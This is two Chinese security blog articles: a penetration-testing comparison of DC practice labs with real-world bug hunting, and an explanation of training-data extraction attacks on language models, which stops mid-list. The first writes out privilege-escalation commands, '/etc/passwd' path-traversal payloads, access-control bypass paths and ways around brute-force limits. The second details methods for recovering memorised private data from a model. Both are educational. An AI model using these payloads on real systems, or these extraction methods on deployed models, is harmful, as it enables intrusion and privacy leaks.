靶场战神为何会陨落?
我从第一个SQL注入漏洞原理学起,从sql-libas到DVWA,到pikachu再到breach系列,DC系列靶场,再到实战挖洞,发现靶场与实战的区别是极其大的。
我个人觉得在这种web环境下,难的不是怎么测一个漏洞点,而是怎么找一个漏洞点。靶场与实战最大的区别在于你不知道这个地方到底有没有漏洞,尤其是在复杂的业务数据交互下,数据包,参数,接口将极其复杂。
本文将以DC系列靶场为例子,分析靶场与实战的区别,同时分享实战思路与需要用到的一些工具插件。
(本文并不主讲靶场,因为网上已经有很多这种文章了)
DC-1
探测:nmap扫描端口,dirsearch扫目录,配合插件wappalyzer识别信息。
火狐wappalyzer插件下载地址:
https://addons.mozilla.org/en-US/firefox/addon/wappalyzer/打点:识别出DrupalCMS,上MSF搜索利用,拿到shell。
找到flag1,根据flag1提示找到配置文件,在配置文件找到数据库账号密码,连接成功。
在数据库找出admin密码,发现有加密,根据靶场已有脚本修改数据库admin密码,成功登录web后台。
深入:进入后台后找到flag3根据提示cat/etc/passwd。找到flag4,根据flag4提示进行find提权:find / -exec"/bin/bash" -p \;找到最后的flag。
实战区别分析:
探测阶段:在拿到一个IP后除了进行基础操作nmap,dirsearch,指纹识别外,可能还要查找IP的域名,以及IP对应的公司,并根据公司名再次扩大信息搜集范围,到google,github以及资产搜索引擎上利用相关语法搜集默认密码,账号,邮箱等等信息。
并且根据关键字,及密码特征制作特定社工字典进行登录框爆破。而且实战一般情况dirsearch可能扫不出来什么东西,这时候还要到google和资产搜索引擎上查找。
靶场一般不会用到资产搜索引擎,例如fofa,鹰图,但它确实极其重要。
打点阶段:对于历史漏洞的利用不要只停留在指纹识别这些特征上,还要从数据包上分析。
但如果是登录框没进入后台哪有什么数据包呢?
如下:我在测某个系统时,将请求方法GET修改为POST直接爆出IIS版本,然后一个中间件nday通杀了两百多个站,而靶场一般是不会出现这种测试方法的:那就是想办法让系统报错!
实战中如果想对密码进行修改,我遇到过的:一种就是未授权调用后台修改密码接口修改,另一种就是忘记密码处的逻辑绕过,当然忘记密码这个功能可能前端并不会直接给出,需要自己通过js文件等等信息拼接口。
DC-2
探测:nmap探测IP端口服务,修改本地DNS文件访问靶场IP网站(找到crew字段),通过目录扫描找到后台登录口。
打点:通过cewl对网站定向搜集获取密码,通过CMS对应WPscan插件获取用户名,联合爆破进入后台。(jerry及tom的账号密码)
翻看后台提示后放弃wordpress历史漏洞,尝试ssh连接
jerry的ssh连接不上,tom连接成功(已得到的账号密码)
深入:直接SSH登录成功,执行命令发现rbash限制:
自然想到rbash逃逸,逃逸成功后拿到flag3
此时用su进行用户tom转换可以成功,拿到flag4后根据git字段提示,进行git提权拿到最后的flag
实战区别分析:
探测阶段:很多IP经过nmap扫描后发现只会开放80端口,且80端口为主站,渗透难度极大,且我用dirsearch等工具扫目录很少能扫出有用的目录。
在找脆弱资产时还需要结合关键字,资产搜索引擎,google语法等搜索:
例如这个站:(浙大某脆弱资产)只能通过google语法site:xxx搜索出来,因为直接访问域名为404界面,路径极其复杂无法爆破,资产搜索引擎没有记录。
打点阶段:登录口的爆破也极有可能遇到次数限制
此时需要尝试绕过:修改为随机IP,随机UA头,修改Referrer为127.0.0.1等等
这里推荐一款工具可以用来伪造IP爆破:
https://github.com/ianxtianxt/burpsuiefakeip即使没有次数限制,可能也需要根据公司名称缩写,系统名称缩写配合admin,administrator等字段及特殊字符通过工具(白鹿社工字典)自制密码进行爆破。
因为靶场拿到flag1后根据提示crewl(一个可以搜集账号的工具)就知道要爆破进入后台,实战可能还会在忘记密码处耗费时间。
且实战不会有如下靶场提醒:(无法利用wordpress历史漏洞,需另寻他法)
实战过程中ssh连接可能也不会如此顺利(靶场直接使用wp登录界面爆破出来的密码登录)
DC-3
探测:扫端口,扫目录,查指纹(joomla)
打点:使用joomscan工具进行漏洞扫描,找到版本,searchsploit找到sql注入漏洞,脱库拿到账号密码,john解密成功。
登录管理员后台成功,找到上传点直接getshell。
无法在虚拟终端反弹shell,于是返回上传点创建反弹shell的php文件,kali接受成功。
深入:利用用searchsploit工具搜索及蚁剑上传进行操作系统提权成功。
实战区别分析:
探测阶段:扫描目录时会找到两个登录界面,在实战中,需要将注意力放在并不对外使用的界面,它们属于脆弱资产,例如员工登录入口,管理员登录入口,像对外开放的,可以注册的那些登陆界面,虽然功能点更多,但由于经常有人访问,会经常维护,它们的安全性会更高,不容易出洞。
打点阶段:靶场依旧是利用ndaysql注入脱库拿到账号密码,但实战过程中找到一个sql注入后去脱库的可能性不大。在src中一般只用证明该漏洞存在即可,在渗透过程中要脱库就一定要先拿到有明确的渗透权限。
DC-4
探测:访问IP,出现登录框,以admin为账号,bp默认字典爆破成功
打点:后台直接执行命令抓包,radio参数执行命令成功,进行shell反弹
深入:翻找文件,找到账号与密码字典,hydra进行ssh爆破成功,继续翻找文件,找到charles账号密码,su切换用户,根据关键字teehee进行提权找到flag
实战区别分析:
探测阶段:可以看到靶场并无脚本源码,且那么就减少了很多黑盒测试点,而且靶场必定会存在漏洞这也是与实战的重大区别之一,而且很容易就爆破成功
打点阶段:本靶场后台功能极其简单只有一个功能点,且一看就是要测试RCE,但实战你遇到的可能是如下界面:
会有很多模块,很多功能需要测试,对这种后台打点通常会先尝试文件上传漏洞,因为上传点更容易寻找,而RCE测试点则极为复杂,通常会在例如"系统""命令"等字段的模块,但其实所有模块都可能存在RCE,因为模块本身就是前端与后台执行功能的地方,黑盒测试你无法从前端界面直接看出究竟哪个模块调用了执行命令的参数。
所以黑盒测试RCE需要将前端功能点转换为数据包,从接口,参数进行测试。
DC-5
探测:nmap扫端口,dirsearch扫目录,指纹识别
打点:在扫出来的目录中翻阅时发现存在文件包含,直接以file参数读取成功。
确定为本地包含后,找到靶机日志,将webshell写入日志,getshell成功。
深入:利用searchsploit对/bin/screen-4.5.0进行本地提权成功。
实战区别分析:
打点阶段:靶场文件包含的漏洞特征很明显,但实战中就并不会有这类提示,黑盒测试的思路就是多猜。而且在实战中想要利用文件包含进行getshell的难点就是找不到正确的路径和权限不够,并不会像靶场这样直接就能爆破出来,并且能直接包含。
实战更多的步骤还是在找漏洞而并不是测漏洞。
DC-6
探测:nmap扫描端口(22,80),dirsearch扫描目录,whatweb识别
打点:发现wordpress指纹,使用wpscan扫描,使用提示的命令cat/usr/share/wordlists/rockyou.txt | grep k01 > password爆破进入后台。
需要修改本地dns文件才能访问靶场。
在后台发现使用activity monitor,使用searchsploit搜索,利用脚本getshell.
深入:在后台文件找到graham账号密码,于是进行ssh登陆成功,再次找到免密码执行的sh脚本,利用脚本完成提权。
实战区别分析:
打点阶段:本靶场发现RCE有两种方式,一是nday探测二是手测,漏洞点出现在输入IP的字段,也算是RCE的高发点,在实战过程中像交换机路由器后台也通常会有类似功能点,可以进行RCE测试。
DC-7
探测:nmap探测端口,发现端口80与22(估计又要ssh爆破),扫描出目录:/user/login
打点:访问IP看到如下提示
到github上搜索左下角名称:Dc7User拿到账号密码,于是进行ssh连接成功
翻找文件,找到一个邮箱,根据邮箱内容找到脚本文件(属于root主),发现可执行drush命令,通过drush命令进行web界面密码修改,并成功登录。
基于Drupal 8特性,安装好插件后上传webshell连接成功。
深入:,将反弹shell的命令添加到先前的脚本中,因为先前找出来的脚本属主为root进行权限提升。
实战区别分析:
打点阶段:打点阶段用到的github信息搜集极其重要,在实战中通过账号密码直接登录ssh或者数据库或者web后台也是存在较大可能的。
在github上也经常能发现公司代码、账号密码、个人信息或客户key等敏感信息。
常用github搜索语法:
in:name admin 仓库标题搜索含有关键字admin
in:readme test Readme文件搜索含有关键字
user:admin 用户名搜索
language:java admin 在java语言的代码中搜索关键字
github信息搜集工具:https://github.com/FeeiCN/GSIL
本靶场的后台功能点还是很多的,但通过drush命令进入后台感觉还是属于靶场的味道。在实际挖洞过程中,如果账号密码无法爆破,更多可能是分析js文件(从js文件中找更多js再从js中提取接口),找隐藏接口,也就是前端页面并未显示有注册修改密码等功能,但可以从js中找到接口,实现登录后台的目的!
这里分享一个很适合找敏感接口信息的bp插件HAE:https://github.com/gh0stkey/HaE
DC-8
探测:nmap扫描端口(22,80),whatweb指纹识别
打点:访问靶场IP点击左方,出现参数。
加单引号后报错,用sqlmap拿到数据john解密拿到账号密码,进入后台。
此处插入webshell配合msf直接getshell成功。
深入:执行find / -perm -u=s -type f 2>/dev/null,根据exam4完成提权.
实战区别分析:
打点阶段:靶场依旧是利用的靶场思路sql注入拿到账号密码,再进入后台.但不要觉得sql注入实战很容易挖到(看你挖什么资产了),一般出sql注入就是一个高危.而且靶场sql注入还是一个前台的sql注入,这种get传参的前台sql注入已经是很多年前的了,实战中基本不要想遇到,但也要去测试.
靶场中的getshell方式实战中我没遇到过,这种插入方式感觉更像XSS漏洞测试处.
DC-9
探测:nmap探测端口,发现端口80与22(filtered状态)
打点:通过dirsearch扫出search.php,manage.php目录,进入后直接找到sql注入点。
sqlmap脱库MD5解密拿到账号密码登录manage.php后台。
根据File does not exist提示进行文件包含利用?file=../../../../
FUZZ系统文件找到/etc/knockd.conf,泄露7469 84759842端口。通过nc敲开端口,根据/etc/passwd读取账号密码进行ssh爆破。
登录爆破出的账号翻文件搜集字典,再次进行ssh爆破出新账号。
深入:登录新账号,先执行sudo-l,找到python脚本,分析利用脚本完成提权。
实战区别分析:
打点阶段:靶场sql注入点较为经典,处于搜索框。且虽然存在sql注入,但如果只添加单引号并不会出现报错,还需要进一步探测才能发现!
这里推荐一款常用工具:
https://github.com/synacktiv/HopLaBP辅助payload插件,可以一键插入常用payload,不用额外再找字典等等。
对于sql注入的黑盒测试不要局限思路,你觉得可能带入数据库的参数都需要测试,尤其是在排序例如desc等不能被预编译的字段。
打点处的文件包含漏洞算是一种实战思路:也就是?file=../../../etc/passwd或者?path=../../../etc/passwd这类payload可以在挖洞过程随机添加,不一定要对应着功能点才去测试,只要存在file,download等敏感字段都可以添加尝试,因为这可能是隐藏功能点。
靶场可能更多的功能是练习单个的知识点,实战少遇到的知识点,比如一个新手可能挖半年漏洞都无法getshell一次,更别提后渗透等等了。但在打靶的同时也要关注对nday,1day漏洞的黑盒分析,并进行总结。
例如下对权限绕过的一个分析总结:
1:大小写替换绕过
/api/home/admin--/api/home/ADMIN
2:通配符替换字符:
/api/user/6---403
/api/user/*---200
3:路径穿越:
/api/home/user---403
/api/MYPATH/../home/user---200
/api/home/..;/..;/..;/..;/home/user---200
除此外还要关注最近的系统或者框架0day例如SQL注入,RCE等等它们的注入参数是哪个,目录特征怎样?这样在实战过程中靶场战神才不至于陨落。
大模型隐私泄露攻击技巧分析与复现
前言
大型语言模型,尤其是像ChatGPT这样的模型,尽管在自然语言处理领域展现了强大的能力,但也伴随着隐私泄露的潜在风险。在模型的训练过程中,可能会接触到大量的用户数据,其中包括敏感的个人信息,进而带来隐私泄露的可能性。此外,模型在推理时有时会无意中回忆起训练数据中的敏感信息,这一点也引发了广泛的关注。
隐私泄露的风险主要来源于两个方面:一是数据在传输过程中的安全性,二是模型本身的记忆风险。在数据传输过程中,如果没有采取充分的安全措施,攻击者可能会截获数据,进而窃取敏感信息,给用户和组织带来安全隐患。此外,在模型的训练和推理阶段,如果使用了个人身份信息或企业数据等敏感数据,这些数据可能会被模型运营方窥探或收集,存在被滥用的风险。
过去已经发生了多起与此相关的事件,导致许多大公司禁止员工使用ChatGPT。此前的研究表明,当让大模型反复生成某些特定词汇时,它可能会在随后的输出中暴露出训练数据中的敏感内容。
学术研究表明,对模型进行训练数据提取攻击是切实可行的。攻击者可以通过与预训练模型互动,从而恢复出训练数据集中包含的个别示例。例如,GPT-2曾被发现能够记住训练数据中的一些个人信息,如姓名、电子邮件地址、电话号码、传真号码和实际地址。这不仅带来了严重的隐私风险,还对语言模型的泛化能力提出了质疑。
本文要探讨的就是可以高效从大模型中提取出用于训练的隐私数据的技巧与方法,主要来自《Bag of Tricks for Training Data Extraction from Language Models》,这篇论文发在了人工智能顶级会议ICML 2023上。
背景知识
尽管大模型在各种下游语言任务中展现了令人瞩目的性能,但其内在的记忆效应使得训练数据可能被提取出来。这些训练数据可能包含敏感信息,如姓名、电子邮件地址、电话号码和物理地址,从而引发隐私泄露问题,阻碍了大模型在更广泛应用中的推进。
之前谷歌举办了一个比赛,链接如下
https://github.com/google-research/lm-extraction-benchmark/tree/master这是一个针对性数据提取的挑战赛,目的是测试参赛者是否能从给定的前缀中准确预测后缀,从而构成整个序列,使其包含在训练数据集中。这与无针对性的攻击不同,无针对性的攻击是搜索训练数据集中出现的任意数据。
针对性提取被认为更有价值和具有挑战性,因为它可以帮助恢复与特定主题相关的关键信息,而不是任意的数据。此外,评估针对性提取也更容易,只需检查给定前缀的正确后缀是否被预测,而无针对性攻击需要检查整个庞大的训练数据集。
这个比赛使用1.3B参数的GPT-Neo模型,以1-eidetic记忆为目标,即模型能够记住训练数据中出现1次的字符串。这比无针对性和更高eidetic记忆的设置更具有挑战性。
比赛的基准测试集包含从The Pile数据集中选取的20,000个示例,这个数据集已被用于训练许多最新的大型语言模型,包括GPT-Neo。每个示例被分为长度为50的前缀和后缀,攻击的任务是在给定前缀的情况下预测正确的后缀。这些示例被设计成相对容易提取的,即存在一个前缀长度使得模型可以准确生成后缀。
训练数据提取
从预训练的语言模型中提取训练数据,即所谓的"语言模型数据提取",是一种恢复用于训练模型的示例的方法。这是一个相对较新的任务,但背后的许多技术和分析方法,如成员资格推断和利用网络记忆进行攻击,早就已经被引入。
Carlini等人是最早定义模型知识提取和κ-eidetic记忆概念的人,并提出了有希望的数据提取训练策略。关于记忆的理论属性以及在敏感领域应用模型提取(如临床笔记分析)等,已经成为这个领域后续研究的焦点。
最近的研究也有一些重要发现:
Kandpal等人证明,在语言模型中,数据提取的效果经常归因于常用网络抓取训练集中的重复。
Jagielski等人使用非确定性为忘记记忆示例提供了一种解释。
Carlini等人分析了影响训练数据记忆的三个主要因素。
Feldman指出,为了达到接近最优的性能,在自然数据分布下需要记忆标签。
Lehman等人指出,预训练的BERT在训练临床笔记时存在敏感数据泄露的风险,特别是当数据表现出高水平的重复或"笔记膨胀"时。
总的来说,这个新兴领域正在深入探讨如何从语言模型中提取训练数据,以及这种提取带来的安全和隐私风险。最新的研究成果为进一步理解和应对这些挑战提供了重要的洞见。
成员推理攻击
成员资格推断攻击(MIA)是一种与训练数据提取密切相关的对抗性任务,目标是在只能对模型进行黑盒访问的情况下,确定给定记录是否在模型的训练数据集中。MIA已被证明在各种机器学习任务中都是有效的,包括分类和生成模型。
MIA使用的方法主要分为两类:
基于分类器的方法:这涉及训练一个二元分类器来识别成员和非成员之间的复杂模式关系,影子训练是一种常用的技术。
基于度量的方法:这通过首先计算模型预测向量上的度量(如欧几里得距离或余弦相似度)来进行成员资格推断。
这两类方法都有各自的优缺点,研究人员正在不断探索新的MIA攻击方法,以更有效地从机器学习模型中推断训练数据。这突出了训练数据隐私保护在模型部署和应用中的重要性。对MIA技术的深入理解,有助于设计更加安全和隐私保护的机器学习模型训练和部署策略,这对于广泛应用尤其是在敏感领域的应用至关重要。
其他基于记忆的攻击
大型预训练模型由于容易记住训练数据中的信息,因此面临着各种潜在的安全和隐私风险。除了训练数据提取攻击和成员资格推断攻击之外,还有其他基于模型记忆的攻击针对这类模型。
其中,模型提取攻击关注于复制给定的黑盒模型的功能性能。在这类攻击中,对手试图构建一个具有与原始黑盒模型相似预测性能的第二个模型,从而可以在不获取原始模型的情况下复制其功能。针对模型提取攻击的保护措施,集中在如何限制模型的功能复制。
另一类攻击是属性推断攻击,其目标是从模型中提取特定的个人属性信息,如地点、职业和兴趣等。这些属性信息可能是模型生产者无意中共享的训练数据属性,例如生成数据的环境或属于特定类别的数据比例。
与训练数据提取攻击不同,属性/属性推断攻击不需要事先知道要提取的具体属性。而训练数据提取攻击需要生成与训练数据完全一致的信息,这更加困难和危险。
总之,这些基于模型记忆的各类攻击,都突显了大型预训练模型在隐私保护方面的重大挑战。如何有效应对这些攻击,成为当前机器学习安全研究的一个重要焦点。
威胁模型
数据集是从 Pile 训练数据集中抽取的 20,000 个样本子集。每个样本由一个 50-token 的前缀和一个 50-token 的后缀组成。
攻击者的目标是给定前缀时,尽可能准确地预测后缀。
这个数据集中,所有 100-token 长的句子在训练集中只出现一次。
采用了 HuggingFace Transformers 上实现的 GPT-Neo 1.3B 模型作为语言模型。这是一个基于 GPT-3 架构复制品,针对 Pile 数据集进行过训练的模型。
GPT-Neo 是一个自回归语言模型 fθ,通过链式规则生成一系列token。
这个场景中,攻击者希望利用语言模型对训练数据的记忆,来尽可能准确地预测给定前缀的后缀。由于数据集中每个句子在训练集中只出现一次,这就给攻击者提供了一个机会,试图从模型中提取这些罕见句子的信息。
在句子层面,给定一个前缀p,我们表示在前缀p上有条件生成某个后缀s的概率为fθ(s|p)。
我们专注于针对性提取 κ-eidetic 记忆数据的威胁模型,我们选择 κ=1。根据 Carlini定义的模型知识提取,我们假设语言模型通过最可能的标准生成后缀 s。然后我们可以将针对性提取的正式定义写为:
给定一个包含在训练数据中的前缀 p 和一个预训练的语言模型 fθ。针对性提取是通过下式来生成后缀
至于 κ-eidetic 记忆数据,我们遵循 Carlini的定义,即句子 [p, s] 在训练数据中出现不超过 κ 个示例。在实践中,生成句子的长度通常使用截断和连接技术固定在训练数据集上。如果生成的句子短于指定长度,使用填充 token 将其增加到所需长度。
流程
第一阶段 - 后缀生成:
利用自回归语言模型 fθ 计算词汇表中每个 token 的生成概率分布。
从这个概率分布中采样生成下一个 token,采用 top-k 策略限制采样范围,将 k 设为10。
不断重复这个采样过程,根据前缀生成一组可能的后缀。
第二阶段 - 后缀排名:
使用成员资格推断攻击,根据每个生成后缀的困惑度进行排序。
只保留那些概率较高(困惑度较低)的后缀。
这样的两阶段流程,首先利用语言模型生成可能的后缀候选,然后通过成员资格推断攻击对这些候选进行评估和筛选,从而尽可能还原出训练数据中罕见的完整句子。
这个训练数据提取攻击的关键在于,利用语言模型对训练数据的"记忆"来生成接近训练样本的内容,再结合成员资格推断技术进一步挖掘出高概率的真实训练样本。
其中 N 是生成句子中的 token 数量。
改进策略
为了改进后缀生成,我们可以来看看真实和生成token的logits分布。如下图所示,这两种分布之间存在显著差异。
为了解决这个问题,我们可以采用一系列技术进行改进
采样策略
在自然语言处理的条件生成任务中,最常见的目标是最大化解码,即给定前缀,找到具有最高概率的后缀序列。这种"最大似然"策略同样适用于训练数据提取攻击场景,因为模型会试图最大化生成的内容与真实训练数据的相似性。
然而,从模型中直接找到理论上的全局最优解(argmax序列)是一个不切实际的目标。原因在于,语言模型通常是auto-regressive的,每个token的生成都依赖于前面生成的内容,因此搜索全局最优解的计算复杂度会随序列长度呈指数级上升,实际上是不可行的。
因此,常见的做法是采用束搜索(Beam Search)作为一种近似解决方案。束搜索会在每一步保留若干个得分最高的部分解,而不是简单地选择概率最高的单一路径。这种方式可以有效降低计算复杂度,但同时也存在一些问题:
束搜索可能会缺乏生成输出的多样性,因为它总是倾向于选择得分最高的少数几个路径。
尽管增大束宽度可以提高性能,但当束宽超过一定程度时,性能增益会迅速下降,同时也会带来更高的内存开销。
为了克服束搜索的局限性,我们可以采用随机采样的方法,引入更多的多样性。常见的采样策略包括:
Top-k 采样:只从概率最高的k个token中进行采样,k是一个超参数。这种方法可以控制生成输出的多样性,但过大的k可能会降低输出的质量和准确性。
Nucleus 采样(Nucleus Sampling):从概率总和达到设定阈值的token集合中进行采样,可以自适应地调整采样空间的大小。
典型采样(Typical Sampling):从完整的概率分布中采样,偏向采样接近平均概率的token,可以在保持输出质量的同时引入更多的多样性。
总的来说,条件生成任务中的解码策略需要在生成质量、多样性和计算复杂度之间进行权衡。束搜索作为一种近似解决方案,能够有效控制计算成本,但缺乏生成多样性。而随机采样方法则可以引入更多的多样性,但需要在采样策略上进行细致的调整。这些技术在训练数据提取攻击中都有重要的应用价值。
Nucleus采样的核心思想是从总概率达到一定阈值η的token集合中进行采样,而不是简单地从概率最高的k个token中采样。
在故事生成任务中,研究表明较低的η值(如0.6左右)更有利于生成更为多样化和创造性的内容。这说明在生成任务中,保留一定程度的低概率token是有益的,可以引入更多的多样性。但在训练数据提取攻击这样的任务中,较大的η值(约0.6)效果更好,相比基线提升了31%的提取精度。这表明对于数据提取这类任务,我们需要更加关注生成内容与训练数据的相似性,而不是过度强调多样性。
如下图示进一步说明了这一点,即η值过大或过小都会导致性能下降。存在一个最优的η值区间,需要根据具体任务进行调整。
Typical-ϕ是一种用于自然语言生成任务的采样策略。它的核心思想是选择与预期输出内容相似的token,从而保证在典型解码中能够考虑到原始分布的概率质量。这种策略可以提高生成句子的一致性,同时减少一些容易出现的退化重复等问题。Typical-ϕ 策略在数学上等价于一个带有熵率约束的子集优化问题。这种策略在一定程度上可以控制生成文本的多样性和流畅性,平衡了文本质量和创造性。
Typical-ϕ 策略在不同任务中表现可能会有所不同。例如,在抽象摘要和故事生成任务中,Typical-ϕ 策略展现出一定的非单调趋势,即随着ϕ值的变化,生成文本的质量并非线性提升。这说明Typical-ϕ需要根据具体任务进行合适的参数调整,以达到最佳的生成效果。
概率分布调整
温度控制(Temperature)
这是一种直接调整概率分布的策略,通过引入温度参数T来重新归一化语言模型的输出概率分布。较高的温度T > 1会降低模型预测的确信度,但可以增加生成文本的多样性。研究发现,在生成过程中逐渐降低温度是有益的,可以在多样性和生成效率之间达到平衡。但过高的温度也可能导致生成的文本偏离真实分布,降低效率。因此需要合理调节温度参数。
重复惩罚(Repetition Penalty)
这是一种基于条件语言模型的策略,通过修改每个token的生成概率来抑制重复token的出现。具体做法是,重复token的logit在进入softmax层之前被除以一个值r。当r > 1时会惩罚重复,r < 1则会鼓励重复。研究发现,重复惩罚对训练数据提取任务通常有负面影响,因为它可能会抑制一些有用的重复信息。因此在使用重复惩罚时,需要根据具体任务和数据特点来合理设置参数r,在抑制不必要重复和保留有意义重复之间寻求平衡。
总的来说,温度控制和重复惩罚是两种常见的直接调整概率分布的策略,可以在一定程度上提高自然语言生成的质量和多样性。但它们也存在一些局限性,需要根据实际应用场景进行合理的参数调整和组合使用,以达到最佳的生成效果。
为了有效的向量化,通常在训练语言模型时将多个句子打包成固定长度的序列。例如,句子"Yu的电话号码是12345"可能在训练集中被截断,或与另一个句子拼接成前缀,如"Yu的地址在XXX。Yu的电话号码是12345"。训练集中的这些前缀序列并不总是完整的句子。为了更好地模拟这种训练设置,我们可以调整上下文窗口大小和位置偏移。
动态上下文窗口
训练窗口的长度可能与提取窗口的长度不同。因此,提出调整上下文窗口的大小,即之前生成的token的数量,如下所示。
此外,鼓励不同上下文窗口大小的结果在确定下一个生成的token时进行协作:
其中 hW 表示集成方法,W 表示集成超参数,包括不同上下文窗口大小的数量 m 和每个窗口大小 w_i。我们在代码中使用 m = 4 和 w_i ∈ {n, n - 1, n - 2, n - 3}。
动态位置偏移
位置嵌入被添加到像 GPT-Neo 这样的模型中的 token 特征中。在训练过程中,这是按句子批次添加的,导致相同的句子在不同的训练批次和生成过程中具有不同偏移的位置嵌入。
为了改进对记忆后缀的提取,可以通过评估不同偏移位置并选择 "最佳" 的一个来恢复训练期间使用的位置。具体来说,对于给定的前缀 p,评估不同的偏移位置 C = c_i,其中 c_i 是一系列连续自然数的列表,c_i = {c_i1, ...},使得 |c_i| = |p|,并计算相应的困惑度值。然后选择具有最低困惑度值的位置作为生成后缀的位置。
通过评估不同的位置偏移来选择最佳的位置嵌入,来提高模型对记忆后缀的提取能力。这种方法可以很好地补充原有的位置嵌入方法,增强模型的性能。
其中 ψ(·) 表示位置编码层,φ(·) 表示特征映射函数,𝜙^ϕ^ 表示包含位置编码的特征映射函数,P 计算前缀的困惑度。
前瞻(Look-Ahead)
有时候在生成过程中只有一个或两个token被错误生成或者放置在不适当的位置。为了解决这个问题,可以使用一种技术,它涉及向前看ν步,并使用后续token的概率来通知当前token的生成。前瞻的目标是使用后验分布来帮助计算当前token的生成概率。后验被计算为:
设 Track(xstart, xend | xcond) 表示从 xstart 开始到 xend 结束,在 xcond 条件下的轨迹的概率乘积。那么我们可以写ν步后验为:
其中 Track 被计算为:
超参数优化
以上提到的技巧涉及到各种超参数,简单地使用最佳参数通常是次优的。
手动搜索最佳超参数,也称为 "babysitting",可能非常耗时。
所以其实可以使用多功能的架构自动调整方法,结合了高效的搜索和剪枝策略,根据先进的框架来确定优化的超参数。作为搜索算法,比如可以确定搜索目标为 MP(精确度),搜索的参数包括 top-k、nucleus-η、typical-ϕ、温度 T 和重复惩罚 r。
后缀排名改进
在生成多个后缀之后,会进行一个排名过程,使用困惑度 P 作为度量来消除那些不太可能的后缀。然而,下图的统计分析揭示了真实句子并不总是具有最低困惑度值
句子级标准
文本的熵,由 Zlib 压缩算法用位数来确定,是序列信息内容的量化指标。使用由 GPT-Neo 模型计算的给定句子的困惑度与相同句子的 Zlib 熵的比率作为成员推断的度量。此外还可以分析困惑度和 Zlib 熵的乘积的潜在效用,因为当模型对其预测有高度信心时,这两种度量都趋于减少。实验表明这两种度量在成员推断任务的整体性能上只产生了边际改进。
词级别标准
对高置信度的奖励。记忆数据的高置信度存在是被称为 "记忆效应"的现象的明确特征之一。我们对高置信度的 token 进行奖励。如果句子包含置信度高的 token,那么生成的 token 的可能性高于某个阈值,并且生成的 token 与其他 token 之间的差异也高于某个阈值,我们会将其排名提高。具体来说,对于生成后缀中的 token 𝑥𝑛x**n,如果其概率高于阈值 0.9,那么我们会从后缀 𝑠𝑖s**i 的分数中减去一个给定的数值 0.1(原始分数 𝑠𝑖s**i 是其困惑度)。
鼓励惊讶模式。根据最近的研究,人类文本生成经常表现出一种模式,即高困惑度的 token 被间歇性地包含,而不是一直选择低困惑度的 token。为了解决这个问题,通过只基于大多数 token 计算生成提示的困惑度来鼓励惊讶 token(高困惑度 token)的存在:
其中 µ 和 σ 分别表示一批中 𝑝(𝑥𝑛∣𝑥[0:𝑛−1])p(x**n∣x[0:n−1]) 的均值和标准差。使用这种方法,生成中包含的惊讶 token 不会在整体句子困惑度上产生负面影响,从而在成员推断期间增加了它们被选择的可能性。
实战
分析关键的函数
如下函数通过批处理方式高效地生成文本,并计算每个生成文本的损失,以评估模型在生成任务中的表现。这样可以帮助分析和改进生成文本的质量和模型的泛化能力。
该函数的主要目的是从给定的提示中生成文本,并计算生成文本的概率(或损失)。
输入参数
prompts: 一个包含提示的numpy数组。
batch_size: 每次处理的提示数量,默认值为32。
主要步骤
初始化:
初始化空列表用于存储生成的文本和相应的损失。
确定生成文本的总长度,这包括前缀和后缀的长度。
批次处理:
将提示按批次进行处理,批次大小由 batch_size 决定。
将每个批次的提示堆叠成一个批次,并转换为PyTorch张量。
生成文本:
使用模型生成文本。生成过程中:
将输入提示移至GPU。
设置生成文本的最大长度。
进行随机采样(do_sample=True),并只考虑概率最高的10个标记(top_k=10)。
处理生成过程中可能出现的填充标记。
计算概率:
将生成的文本再次输入模型,计算每个标记的概率。
提取模型输出的logits,重新整形为二维张量。
使用交叉熵计算每个标记的损失。
将损失重新整形,并提取后缀部分的损失。
计算每个生成序列的平均损失,作为生成文本的概率。
存储结果:
将生成的文本和损失转换为numpy数组,并分别存储在列表中。
返回结果:
返回生成的文本和相应的损失,以numpy数组的形式返回。
如下函数组合在一起用于评估和比较语言模型的生成质量。write_array函数保存生成结果,hamming函数计算生成文本与真实文本之间的汉明距离,gt_position函数计算真实答案的损失,compare_loss函数比较生成文本与真实文本的损失,plot_hist函数则用于可视化损失分布。通过这些步骤,可以全面评估模型在生成任务中的表现和准确性。
1. write_array
功能: 将numpy数组保存到文件中,文件名包含一个唯一标识符。
输入: 文件路径(包含格式化标记)、数组、唯一标识符(整数或字符串)。
实现: 使用给定的格式化标记生成文件名,然后将数组保存到该文件中。
2. hamming
功能: 计算生成序列与真实序列之间的汉明距离。
输入: 真实序列和生成的序列。
实现:
如果生成的序列是二维的,逐行计算每行的汉明距离。
否则,计算生成序列第一行与真实序列的汉明距离。
返回平均汉明距离和汉明距离的形状。
3. gt_position
功能: 计算真实答案序列的损失。
输入: 真实答案序列列表和批次大小(默认为50)。
实现:
将答案分批处理。
计算每个标记的logits。
使用交叉熵计算每个标记的损失。
提取后缀部分的损失,并计算平均损失。
返回每个序列的损失列表。
4. compare_loss
功能: 比较真实序列和生成序列的损失。
输入: 真实序列的损失和生成序列的损失。
实现:
将两组损失拼接在一起。
对每个序列的损失进行排序。
获取排序后的索引。
返回排序后的损失,排序索引和排名第一的索引。
5. plot_hist
功能: 绘制损失的直方图。
输入: 损失数组。
实现: 该函数目前为空,未实现绘图逻辑。
如下函数组合在一起用于处理和评估语言模型的生成任务。load_prompts函数加载提示数据,is_memorization函数评估生成模型是否记住了训练数据,error_100函数计算在发生100次错误之前的匹配次数,precision_multiprompts函数计算多提示生成序列的精确度,prepare_data函数则准备实验所需的数据和目录结构。这些步骤帮助全面评估和改进模型的生成质量和泛化能力。
1. load_prompts
功能: 从指定目录加载numpy文件并转换为64位整数类型的numpy数组。
输入:
dir_: 文件所在的目录路径。
file_name: 文件名。
实现: 通过拼接目录路径和文件名构造完整文件路径,加载文件并转换数据类型。
2. is_memorization
功能: 计算生成的序列与真实序列完全匹配的比例,以确定模型是否记住了训练数据。
输入:
guesses: 生成的序列。
answers: 真实序列。
实现:
对比生成的序列和真实序列是否完全相同,统计完全匹配的次数。
计算匹配次数在所有生成序列中的比例。
3. error_100
功能: 计算在前100个错误之前的正确匹配次数。
输入:
guesses_order: 按顺序排列的生成序列。
order: 序列顺序索引。
answers: 真实序列。
实现:
遍历生成序列,统计与真实序列匹配的次数,直到发生100次错误为止。
返回在发生100次错误之前的总遍历次数和超出100次错误的匹配数。
4. precision_multiprompts
功能: 计算多提示生成序列的精确度。
输入:
generations: 多提示生成的序列。
answers: 真实序列。
num_perprompt: 每个提示生成的序列数量。
实现:
截取每个提示生成的前num_perprompt个序列。
